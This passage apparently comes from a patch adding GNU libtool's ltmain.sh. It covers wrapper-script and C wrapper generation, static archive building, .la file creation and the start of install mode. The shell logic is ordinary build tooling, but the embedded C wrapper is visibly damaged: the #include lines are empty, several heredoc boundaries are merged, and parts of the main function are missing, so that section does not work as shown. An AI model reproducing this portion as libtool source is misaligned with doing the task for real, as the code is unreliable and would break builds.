and exit + $show "$link_command" + $run eval "$link_command" || exit $? + exit $EXIT_SUCCESS + fi + + if test "$hardcode_action" = relink; then + # Fast installation is not supported + link_command="$compile_var$compile_command$compile_rpath" + relink_command="$finalize_var$finalize_command$finalize_rpath" + + $echo "$modename: warning: this platform does not like uninstalled shared libraries" 1>&2 + $echo "$modename: \`$output' will be relinked during installation" 1>&2 + else + if test "$fast_install" != no; then + link_command="$finalize_var$compile_command$finalize_rpath" + if test "$fast_install" = yes; then + relink_command=`$echo "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'` + else + # fast_install is set to needless + relink_command= + fi + else + link_command="$compile_var$compile_command$compile_rpath" + relink_command="$finalize_var$finalize_command$finalize_rpath" + fi + fi + + # Replace the output file specification. + link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'` + + # Delete the old output files. + $run $rm $output $output_objdir/$outputname $output_objdir/lt-$outputname + + $show "$link_command" + $run eval "$link_command" || exit $? + + # Now create the wrapper script. + $show "creating $output" + + # Quote the relink command for shipping. + if test -n "$relink_command"; then + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` + relink_command="$var=\"$var_value\"; export $var; $relink_command" + fi + done + relink_command="(cd `pwd`; $relink_command)" + relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"` + fi + + # Quote $echo for shipping. + if test "X$echo" = "X$SHELL $progpath --fallback-echo"; then + case $progpath in + [\\/]* | [A-Za-z]:[\\/]*) qecho="$SHELL $progpath --fallback-echo";; + *) qecho="$SHELL `pwd`/$progpath --fallback-echo";; + esac + qecho=`$echo "X$qecho" | $Xsed -e "$sed_quote_subst"` + else + qecho=`$echo "X$echo" | $Xsed -e "$sed_quote_subst"` + fi + + # Only actually do things if our run command is non-null. + if test -z "$run"; then + # win32 will think the script is a binary if it has + # a .exe suffix, so we strip it off here. + case $output in + *.exe) output=`$echo $output|${SED} 's,.exe$,,'` ;; + esac + # test for cygwin because mv fails w/o .exe extensions + case $host in + *cygwin*) + exeext=.exe + outputname=`$echo $outputname|${SED} 's,.exe$,,'` ;; + *) exeext= ;; + esac + case $host in + *cygwin* | *mingw* ) + output_name=`basename $output` + output_path=`dirname $output` + cwrappersource="$output_path/$objdir/lt-$output_name.c" + cwrapper="$output_path/$output_name.exe" + $rm $cwrappersource $cwrapper + trap "$rm $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15 + + cat > $cwrappersource <> $cwrappersource<<"EOF" +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if defined(PATH_MAX) +# define LT_PATHMAX PATH_MAX +#elif defined(MAXPATHLEN) +# define LT_PATHMAX MAXPATHLEN +#else +# define LT_PATHMAX 1024 +#endif + +#ifndef DIR_SEPARATOR +# define DIR_SEPARATOR '/' +# define PATH_SEPARATOR ':' +#endif + +#if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \ + defined (__OS2__) +# define HAVE_DOS_BASED_FILE_SYSTEM +# ifndef DIR_SEPARATOR_2 +# define DIR_SEPARATOR_2 '\\' +# endif +# ifndef PATH_SEPARATOR_2 +# define PATH_SEPARATOR_2 ';' +# endif +#endif + +#ifndef DIR_SEPARATOR_2 +# define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) +#else /* DIR_SEPARATOR_2 */ +# define IS_DIR_SEPARATOR(ch) \ + (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) +#endif /* DIR_SEPARATOR_2 */ + +#ifndef PATH_SEPARATOR_2 +# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR) +#else /* PATH_SEPARATOR_2 */ +# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2) +#endif /* PATH_SEPARATOR_2 */ + +#define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) +#define XFREE(stale) do { \ + if (stale) { free ((void *) stale); stale = 0; } \ +} while (0) + +/* -DDEBUG is fairly common in CFLAGS. */ +#undef DEBUG +#if defined DEBUGWRAPPER +# define DEBUG(format, ...) fprintf(stderr, format, __VA_ARGS__) +#else +# define DEBUG(format, ...) +#endif + +const char *program_name = NULL; + +void * xmalloc (size_t num); +char * xstrdup (const char *string); +const char * base_name (const char *name); +char * find_executable(const char *wrapper); +int check_executable(const char *path); +char * strendzap(char *str, const char *pat); +void lt_fatal (const char *message, ...); + +int +main (int argc, char *argv[]) +{ + char **newargz; + int i; + + program_name = (char *) xstrdup (base_name (argv[0])); + DEBUG("(main) argv[0] : %s\n",argv[0]); + DEBUG("(main) program_name : %s\n",program_name); + newargz = XMALLOC(char *, argc+2); +EOF + + cat >> $cwrappersource <> $cwrappersource <<"EOF" + newargz[1] = find_executable(argv[0]); + if (newargz[1] == NULL) + lt_fatal("Couldn't find %s", argv[0]); + DEBUG("(main) found exe at : %s\n",newargz[1]); + /* we know the script has the same name, without the .exe */ + /* so make sure newargz[1] doesn't end in .exe */ + strendzap(newargz[1],".exe"); + for (i = 1; i < argc; i++) + newargz[i+1] = xstrdup(argv[i]); + newargz[argc+1] = NULL; + + for (i=0; i> $cwrappersource <> $cwrappersource <> $cwrappersource <<"EOF" + return 127; +} + +void * +xmalloc (size_t num) +{ + void * p = (void *) malloc (num); + if (!p) + lt_fatal ("Memory exhausted"); + + return p; +} + +char * +xstrdup (const char *string) +{ + return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL +; +} + +const char * +base_name (const char *name) +{ + const char *base; + +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + /* Skip over the disk name in MSDOS pathnames. */ + if (isalpha ((unsigned char)name[0]) && name[1] == ':') + name += 2; +#endif + + for (base = name; *name; name++) + if (IS_DIR_SEPARATOR (*name)) + base = name + 1; + return base; +} + +int +check_executable(const char * path) +{ + struct stat st; + + DEBUG("(check_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!"); + if ((!path) || (!*path)) + return 0; + + if ((stat (path, &st) >= 0) && + ( + /* MinGW & native WIN32 do not support S_IXOTH or S_IXGRP */ +#if defined (S_IXOTH) + ((st.st_mode & S_IXOTH) == S_IXOTH) || +#endif +#if defined (S_IXGRP) + ((st.st_mode & S_IXGRP) == S_IXGRP) || +#endif + ((st.st_mode & S_IXUSR) == S_IXUSR)) + ) + return 1; + else + return 0; +} + +/* Searches for the full path of the wrapper. Returns + newly allocated full path name if found, NULL otherwise */ +char * +find_executable (const char* wrapper) +{ + int has_slash = 0; + const char* p; + const char* p_next; + /* static buffer for getcwd */ + char tmp[LT_PATHMAX + 1]; + int tmp_len; + char* concat_name; + + DEBUG("(find_executable) : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!"); + + if ((wrapper == NULL) || (*wrapper == '\0')) + return NULL; + + /* Absolute path? */ +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + if (isalpha ((unsigned char)wrapper[0]) && wrapper[1] == ':') + { + concat_name = xstrdup (wrapper); + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + } + else + { +#endif + if (IS_DIR_SEPARATOR (wrapper[0])) + { + concat_name = xstrdup (wrapper); + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + } +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + } +#endif + + for (p = wrapper; *p; p++) + if (*p == '/') + { + has_slash = 1; + break; + } + if (!has_slash) + { + /* no slashes; search PATH */ + const char* path = getenv ("PATH"); + if (path != NULL) + { + for (p = path; *p; p = p_next) + { + const char* q; + size_t p_len; + for (q = p; *q; q++) + if (IS_PATH_SEPARATOR(*q)) + break; + p_len = q - p; + p_next = (*q == '\0' ? q : q + 1); + if (p_len == 0) + { + /* empty path: current directory */ + if (getcwd (tmp, LT_PATHMAX) == NULL) + lt_fatal ("getcwd failed"); + tmp_len = strlen(tmp); + concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1); + memcpy (concat_name, tmp, tmp_len); + concat_name[tmp_len] = '/'; + strcpy (concat_name + tmp_len + 1, wrapper); + } + else + { + concat_name = XMALLOC(char, p_len + 1 + strlen(wrapper) + 1); + memcpy (concat_name, p, p_len); + concat_name[p_len] = '/'; + strcpy (concat_name + p_len + 1, wrapper); + } + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + } + } + /* not found in PATH; assume curdir */ + } + /* Relative path | not found in path: prepend cwd */ + if (getcwd (tmp, LT_PATHMAX) == NULL) + lt_fatal ("getcwd failed"); + tmp_len = strlen(tmp); + concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1); + memcpy (concat_name, tmp, tmp_len); + concat_name[tmp_len] = '/'; + strcpy (concat_name + tmp_len + 1, wrapper); + + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + return NULL; +} + +char * +strendzap(char *str, const char *pat) +{ + size_t len, patlen; + + assert(str != NULL); + assert(pat != NULL); + + len = strlen(str); + patlen = strlen(pat); + + if (patlen <= len) + { + str += len - patlen; + if (strcmp(str, pat) == 0) + *str = '\0'; + } + return str; +} + +static void +lt_error_core (int exit_status, const char * mode, + const char * message, va_list ap) +{ + fprintf (stderr, "%s: %s: ", program_name, mode); + vfprintf (stderr, message, ap); + fprintf (stderr, ".\n"); + + if (exit_status >= 0) + exit (exit_status); +} + +void +lt_fatal (const char *message, ...) +{ + va_list ap; + va_start (ap, message); + lt_error_core (EXIT_FAILURE, "FATAL", message, ap); + va_end (ap); +} +EOF + # we should really use a build-platform specific compiler + # here, but OTOH, the wrappers (shell script and this C one) + # are only useful if you want to execute the "real" binary. + # Since the "real" binary is built for $host, then this + # wrapper might as well be built for $host, too. + $run $LTCC $LTCFLAGS -s -o $cwrapper $cwrappersource + ;; + esac + $rm $output + trap "$rm $output; exit $EXIT_FAILURE" 1 2 15 + + $echo > $output "\ +#! $SHELL + +# $output - temporary wrapper script for $objdir/$outputname +# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP +# +# The $output program cannot be directly executed until all the libtool +# libraries that it depends on are installed. +# +# This wrapper script should never be moved out of the build directory. +# If it is, it will not operate correctly. + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='${SED} -e 1s/^X//' +sed_quote_subst='$sed_quote_subst' + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +relink_command=\"$relink_command\" + +# This environment variable determines our operation mode. +if test \"\$libtool_install_magic\" = \"$magic\"; then + # install mode needs the following variable: + notinst_deplibs='$notinst_deplibs' +else + # When we are sourced in execute mode, \$file and \$echo are already set. + if test \"\$libtool_execute_magic\" != \"$magic\"; then + echo=\"$qecho\" + file=\"\$0\" + # Make sure echo works. + if test \"X\$1\" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift + elif test \"X\`(\$echo '\t') 2>/dev/null\`\" = 'X\t'; then + # Yippee, \$echo works! + : + else + # Restart under the correct shell, and then maybe \$echo will work. + exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"} + fi + fi\ +" + $echo >> $output "\ + + # Find the directory that this script lives in. + thisdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\` + test \"x\$thisdir\" = \"x\$file\" && thisdir=. + + # Follow symbolic links until we get to the real thisdir. + file=\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\` + while test -n \"\$file\"; do + destdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\` + + # If there was a directory component, then change thisdir. + if test \"x\$destdir\" != \"x\$file\"; then + case \"\$destdir\" in + [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;; + *) thisdir=\"\$thisdir/\$destdir\" ;; + esac + fi + + file=\`\$echo \"X\$file\" | \$Xsed -e 's%^.*/%%'\` + file=\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\` + done + + # Try to get the absolute directory name. + absdir=\`cd \"\$thisdir\" && pwd\` + test -n \"\$absdir\" && thisdir=\"\$absdir\" +" + + if test "$fast_install" = yes; then + $echo >> $output "\ + program=lt-'$outputname'$exeext + progdir=\"\$thisdir/$objdir\" + + if test ! -f \"\$progdir/\$program\" || \\ + { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\ + test \"X\$file\" != \"X\$progdir/\$program\"; }; then + + file=\"\$\$-\$program\" + + if test ! -d \"\$progdir\"; then + $mkdir \"\$progdir\" + else + $rm \"\$progdir/\$file\" + fi" + + $echo >> $output "\ + + # relink executable if necessary + if test -n \"\$relink_command\"; then + if relink_command_output=\`eval \$relink_command 2>&1\`; then : + else + $echo \"\$relink_command_output\" >&2 + $rm \"\$progdir/\$file\" + exit $EXIT_FAILURE + fi + fi + + $mv \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null || + { $rm \"\$progdir/\$program\"; + $mv \"\$progdir/\$file\" \"\$progdir/\$program\"; } + $rm \"\$progdir/\$file\" + fi" + else + $echo >> $output "\ + program='$outputname' + progdir=\"\$thisdir/$objdir\" +" + fi + + $echo >> $output "\ + + if test -f \"\$progdir/\$program\"; then" + + # Export our shlibpath_var if we have one. + if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then + $echo >> $output "\ + # Add our own library path to $shlibpath_var + $shlibpath_var=\"$temp_rpath\$$shlibpath_var\" + + # Some systems cannot cope with colon-terminated $shlibpath_var + # The second colon is a workaround for a bug in BeOS R4 sed + $shlibpath_var=\`\$echo \"X\$$shlibpath_var\" | \$Xsed -e 's/::*\$//'\` + + export $shlibpath_var +" + fi + + # fixup the dll searchpath if we need to. + if test -n "$dllsearchpath"; then + $echo >> $output "\ + # Add the dll search path components to the executable PATH + PATH=$dllsearchpath:\$PATH +" + fi + + $echo >> $output "\ + if test \"\$libtool_execute_magic\" != \"$magic\"; then + # Run the actual program with our arguments. +" + case $host in + # Backslashes separate directories on plain windows + *-*-mingw | *-*-os2*) + $echo >> $output "\ + exec \"\$progdir\\\\\$program\" \${1+\"\$@\"} +" + ;; + + *) + $echo >> $output "\ + exec \"\$progdir/\$program\" \${1+\"\$@\"} +" + ;; + esac + $echo >> $output "\ + \$echo \"\$0: cannot exec \$program \${1+\"\$@\"}\" + exit $EXIT_FAILURE + fi + else + # The program doesn't exist. + \$echo \"\$0: error: \\\`\$progdir/\$program' does not exist\" 1>&2 + \$echo \"This script is just a wrapper for \$program.\" 1>&2 + $echo \"See the $PACKAGE documentation for more information.\" 1>&2 + exit $EXIT_FAILURE + fi +fi\ +" + chmod +x $output + fi + exit $EXIT_SUCCESS + ;; + esac + + # See if we need to build an old-fashioned archive. + for oldlib in $oldlibs; do + + if test "$build_libtool_libs" = convenience; then + oldobjs="$libobjs_save" + addlibs="$convenience" + build_libtool_libs=no + else + if test "$build_libtool_libs" = module; then + oldobjs="$libobjs_save" + build_libtool_libs=no + else + oldobjs="$old_deplibs $non_pic_objects" + fi + addlibs="$old_convenience" + fi + + if test -n "$addlibs"; then + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + func_extract_archives $gentop $addlibs + oldobjs="$oldobjs $func_extract_archives_result" + fi + + # Do each command in the archive commands. + if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then + cmds=$old_archive_from_new_cmds + else + # POSIX demands no paths to be encoded in archives. We have + # to avoid creating archives with duplicate basenames if we + # might have to extract them afterwards, e.g., when creating a + # static archive out of a convenience library, or when linking + # the entirety of a libtool archive into another (currently + # not supported by libtool). + if (for obj in $oldobjs + do + $echo "X$obj" | $Xsed -e 's%^.*/%%' + done | sort | sort -uc >/dev/null 2>&1); then + : + else + $echo "copying selected object files to avoid basename conflicts..." + + if test -z "$gentop"; then + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + $show "${rm}r $gentop" + $run ${rm}r "$gentop" + $show "$mkdir $gentop" + $run $mkdir "$gentop" + exit_status=$? + if test "$exit_status" -ne 0 && test ! -d "$gentop"; then + exit $exit_status + fi + fi + + save_oldobjs=$oldobjs + oldobjs= + counter=1 + for obj in $save_oldobjs + do + objbase=`$echo "X$obj" | $Xsed -e 's%^.*/%%'` + case " $oldobjs " in + " ") oldobjs=$obj ;; + *[\ /]"$objbase "*) + while :; do + # Make sure we don't pick an alternate name that also + # overlaps. + newobj=lt$counter-$objbase + counter=`expr $counter + 1` + case " $oldobjs " in + *[\ /]"$newobj "*) ;; + *) if test ! -f "$gentop/$newobj"; then break; fi ;; + esac + done + $show "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj" + $run ln "$obj" "$gentop/$newobj" || + $run cp "$obj" "$gentop/$newobj" + oldobjs="$oldobjs $gentop/$newobj" + ;; + *) oldobjs="$oldobjs $obj" ;; + esac + done + fi + + eval cmds=\"$old_archive_cmds\" + + if len=`expr "X$cmds" : ".*"` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + cmds=$old_archive_cmds + else + # the command line is too long to link in one step, link in parts + $echo "using piecewise archive linking..." + save_RANLIB=$RANLIB + RANLIB=: + objlist= + concat_cmds= + save_oldobjs=$oldobjs + + # Is there a better way of finding the last object in the list? + for obj in $save_oldobjs + do + last_oldobj=$obj + done + for obj in $save_oldobjs + do + oldobjs="$objlist $obj" + objlist="$objlist $obj" + eval test_cmds=\"$old_archive_cmds\" + if len=`expr "X$test_cmds" : ".*" 2>/dev/null` && + test "$len" -le "$max_cmd_len"; then + : + else + # the above command should be used before it gets too long + oldobjs=$objlist + if test "$obj" = "$last_oldobj" ; then + RANLIB=$save_RANLIB + fi + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\" + objlist= + fi + done + RANLIB=$save_RANLIB + oldobjs=$objlist + if test "X$oldobjs" = "X" ; then + eval cmds=\"\$concat_cmds\" + else + eval cmds=\"\$concat_cmds~\$old_archive_cmds\" + fi + fi + fi + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + eval cmd=\"$cmd\" + IFS="$save_ifs" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + done + + if test -n "$generated"; then + $show "${rm}r$generated" + $run ${rm}r$generated + fi + + # Now create the libtool archive. + case $output in + *.la) + old_library= + test "$build_old_libs" = yes && old_library="$libname.$libext" + $show "creating $output" + + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` + relink_command="$var=\"$var_value\"; export $var; $relink_command" + fi + done + # Quote the link command for shipping. + relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)" + relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"` + if test "$hardcode_automatic" = yes ; then + relink_command= + fi + + + # Only create the output if not a dry run. + if test -z "$run"; then + for installed in no yes; do + if test "$installed" = yes; then + if test -z "$install_libdir"; then + break + fi + output="$output_objdir/$outputname"i + # Replace all uninstalled libtool libraries with the installed ones + newdependency_libs= + for deplib in $dependency_libs; do + case $deplib in + *.la) + name=`$echo "X$deplib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` + if test -z "$libdir"; then + $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdependency_libs="$newdependency_libs $libdir/$name" + ;; + *) newdependency_libs="$newdependency_libs $deplib" ;; + esac + done + dependency_libs="$newdependency_libs" + newdlfiles= + for lib in $dlfiles; do + name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + if test -z "$libdir"; then + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdlfiles="$newdlfiles $libdir/$name" + done + dlfiles="$newdlfiles" + newdlprefiles= + for lib in $dlprefiles; do + name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + if test -z "$libdir"; then + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdlprefiles="$newdlprefiles $libdir/$name" + done + dlprefiles="$newdlprefiles" + else + newdlfiles= + for lib in $dlfiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; + *) abs=`pwd`"/$lib" ;; + esac + newdlfiles="$newdlfiles $abs" + done + dlfiles="$newdlfiles" + newdlprefiles= + for lib in $dlprefiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; + *) abs=`pwd`"/$lib" ;; + esac + newdlprefiles="$newdlprefiles $abs" + done + dlprefiles="$newdlprefiles" + fi + $rm $output + # place dlname in correct position for cygwin + tdlname=$dlname + case $host,$output,$installed,$module,$dlname in + *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll) tdlname=../bin/$dlname ;; + esac + $echo > $output "\ +# $outputname - a libtool library file +# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP +# +# Please DO NOT delete this file! +# It is necessary for linking the library. + +# The name that we can dlopen(3). +dlname='$tdlname' + +# Names of this library. +library_names='$library_names' + +# The name of the static archive. +old_library='$old_library' + +# Libraries that this one depends upon. +dependency_libs='$dependency_libs' + +# Version information for $libname. +current=$current +age=$age +revision=$revision + +# Is this an already installed library? +installed=$installed + +# Should we warn about portability when linking against -modules? +shouldnotlink=$module + +# Files to dlopen/dlpreopen +dlopen='$dlfiles' +dlpreopen='$dlprefiles' + +# Directory that this library needs to be installed in: +libdir='$install_libdir'" + if test "$installed" = no && test "$need_relink" = yes; then + $echo >> $output "\ +relink_command=\"$relink_command\"" + fi + done + fi + + # Do a symbolic link so that the libtool archive can be found in + # LD_LIBRARY_PATH before the program is installed. + $show "(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)" + $run eval '(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)' || exit $? + ;; + esac + exit $EXIT_SUCCESS + ;; + + # libtool install mode + install) + modename="$modename: install" + + # There may be an optional sh(1) argument at the beginning of + # install_prog (especially on Windows NT). + if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh || + # Allow the use of GNU shtool's install command. + $echo "X$nonopt" | grep shtool > /dev/null; then + # Aesthetically quote it. + arg=`$echo "X$nonopt" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + install_prog="$arg " + arg="$1" + shift + else + install_prog= + arg=$nonopt + fi + + # The real first argument should be the name of the installation program. + # Aesthetically quote it. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + install_prog="$install_prog$arg" + + # We need to accept at least all the BSD install flags. + dest= + files= + opts= + prev= + install_type= + isdir=no + stripme= + for arg + do + if test -n "$dest"; then + files="$files $dest" + dest=$arg + continue + fi + + case $arg in + -d) isdir=yes ;; + -f) + case " $install_prog " in + *[\\\ /]cp\ *) ;; + *) prev=$arg ;; + esac + ;; + -g | -m | -o) prev=$arg ;; + -s) + stripme=" -s" + continue + ;; + -*) + ;; + *) + # If the previous option needed an argument, then skip it. + if test -n "$prev"; then + prev= + else + dest=$arg + continue + fi + ;; + esac + + # Aesthetically quote the argument. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + install_prog="$install_prog $arg" + done + + if test -z "$install_prog"; then + $echo "$modename: you must specify an install program" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test -n "$prev"; then + $echo "$modename: the \`$prev' option requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test -z "$files"; then + if test -z "$dest"; then + $echo "$modename: no file or destination specified" 1>&2 + else + $echo "$modename: you must specify a destination" 1>&2 + fi + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Strip any trailing slash from the destination. + dest=`$echo "X$dest" | $Xsed -e 's%/$%%'` + + # Check to see that the destination is a directory. + test -d "$dest" && isdir=yes + if test "$isdir" = yes; then + destdir="$dest" + destname= + else + destdir=`$echo "X$dest" | $Xsed -e 's%/[^/]*$%%'` + test "X$destdir" = "X$dest" && destdir=. + destname=`$echo "X$dest" | $Xsed -e 's%^.*/%%'` + + # Not a directory, so check to see that there is only one file specified. + set dummy $files + if test "$#" -gt 2; then + $echo "$modename: \`$dest' is not a directory" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + fi + case $destdir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + for file in $files; do + case $file in + *.lo) ;; + *) + $echo "$modename: \`$destdir' must be an absolute directory name" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + done + ;; + esac + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic="$magic" + + staticlibs= + future_libdirs= + current_libdirs= + for file in $files; do + + # Do each installation. + case $file in + *.$libext) + # Do the static libraries later. + staticlibs="$staticlibs $file" + ;; + + *.la) + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$file' is not a valid libtool archive" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + library_names= + old_library= + relink_command= + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Add the libdir to current_libdirs if it is the destination. + if test "X$destdir" = "X$libdir"; then + case "$current_libdirs " in + *" $libdir "*) ;; + *) current_libdirs="$current_libdirs $libdir" ;; + esac + else + # Note the libdir as a future libdir. + case "$future_libdirs " in + *" $libdir "*) ;; + *) future_libdirs="$future_libdirs $libdir" ;; + esac + fi + + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`/ + test "X$dir" = "X$file/" && dir= + dir="$dir$objdir" + + if test -n "$relink_command"; then + # Determine the prefix the user has applied to our future dir. + inst_prefix_dir=`$echo "$destdir" | $SED "s%$libdir\$%%"` + + # Don't allow the user to place us outside of our expected + # location b/c this prevents finding dependent libraries that + # are installed to the same prefix. + # At present, this check doesn't affect windows .dll's that + # are installed into $libdir/../bin (currently, that works fine) + # but it's something to keep an eye on. + if test "$inst_prefix_dir" = "$destdir"; then + $echo "$modename: error: cannot install \`$file' to a directory not ending in $libdir" 1>&2 + exit $EXIT_FAILURE + fi + + if test -n "$inst_prefix_dir"; then + # Stick the inst_prefix_dir data into the link command. + relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"` + else + relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%%"` + fi + + $echo "$modename: warning: relinking \`$file'" 1>&2 + $show "$relink_command" + if $run eval "$relink_command"; then : + else + $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2 + exit $EXIT_FAILURE + fi + fi + + # See the names of the shared library. + set dummy $library_names + if test -n "$2"; then + realname="$2" + shift + shift + + srcname="$realname" + test -n "$relink_command" && srcname="$realname"T + + # Install the shared library and build the symlinks. + $show "$install_prog $dir/$srcname $destdir/$realname" + $run eval "$install_prog $dir/$srcname $destdir/$realname" || exit $? + if test -n "$stripme" && test -n "$striplib"; then + $show "$striplib $destdir/$realname" + $run eval "$striplib $destdir/$realname" || exit $? + fi + + if test "$#" -gt 0; then + # Delete the old symlinks, and create new ones. + # Try `ln -sf' first, because the `ln' binary might depend on + # the symlink we replace! Solaris /bin/ln does not understand -f, + # so we also need to try rm && ln -s. + for linkname + do + if test "$linkname" != "$realname"; then + $show "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })" + $run eval "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })" + fi + done + fi + + # Do each command in the postinstall commands. + lib="$destdir/$realname" + cmds=$postinstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || { + lt_exit=$? + + # Restore the uninstalled library and exit + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)' + fi + + exit $lt_exit + } + done + IFS="$save_ifs" + fi + + # Install the pseudo-library for information purposes. + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + instname="$dir/$name"i + $show "$install_prog $instname $destdir/$name" + $run eval "$install_prog $instname $destdir/$name" || exit $? + + # Maybe install the static library, too. + test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library" + ;; + + 